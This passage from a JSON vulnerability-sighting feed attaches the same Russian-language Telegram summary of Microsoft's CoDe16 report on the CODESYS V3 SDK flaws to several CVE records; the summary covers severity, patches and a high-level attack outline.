\u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-28T00:00:23.443406Z"}, {"uuid": "f08b2595-bc0f-4191-9cc3-abab9905911d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-28T00:00:24.489155Z"}, {"uuid": "260a0a9f-9041-408a-977a-e3291ce60c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-28T00:00:24.556837Z"}, {"uuid": "1c4af51b-761f-4a72-a601-c334c6f91d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47391", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 